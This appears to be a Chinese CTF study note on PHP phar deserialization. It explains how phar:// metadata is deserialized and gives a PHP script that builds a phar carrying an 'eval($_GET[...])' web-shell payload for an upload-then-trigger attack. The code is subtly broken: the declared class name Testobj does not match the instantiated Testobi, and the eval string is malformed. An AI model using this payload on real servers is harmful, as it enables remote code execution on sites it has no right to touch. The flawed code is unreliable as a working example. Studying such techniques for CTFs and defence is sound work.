考点8:phar反序列化
<aside> 💡
使用条件
</aside>
文件上传时,不必要.phar后缀,文件上传不是难点!!!(phar伪协议自动解析成.phar文件)
phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。
使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。
这就引出了我们攻击手法最核心的流程。
流程:构造phar(元数据中含有恶意序列化内容)文件—>上传—>触发反序列化
最后一步是寻找触发phar文件元数据反序列化。
其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时
都会将meta-data字段进行反序列化。
<?php
class Testobj {
public $output="";
}
@unlink("test.phar"); // 删除名为 test.phar 的文件(如果存在)
$phar = new Phar("test.phar"); // 创建一个名为 test.phar 的 Phar 对象
$phar->startBuffering(); //开始写文件
// 设置 Phar 对象的存根(stub)
$phar->setStub('<?php __HALT_COMPILER();?>');//写入stub
$o = new Testobi(); // 创建 Testobi 类的对象
$o->output = 'eval($_GET["a"];)';
$phar->setMetaData($o); //写入meta-data
$phar->addFromString("test.txt", "test");// 向 Phar 对象中添加一个名为 test.txt 的文件,内容为 "test"
$phar->stopBuffering(); // 停止缓冲并将修改应用到 Phar 对象
?>
注意:两个页面,接收端(文件上传),输出端。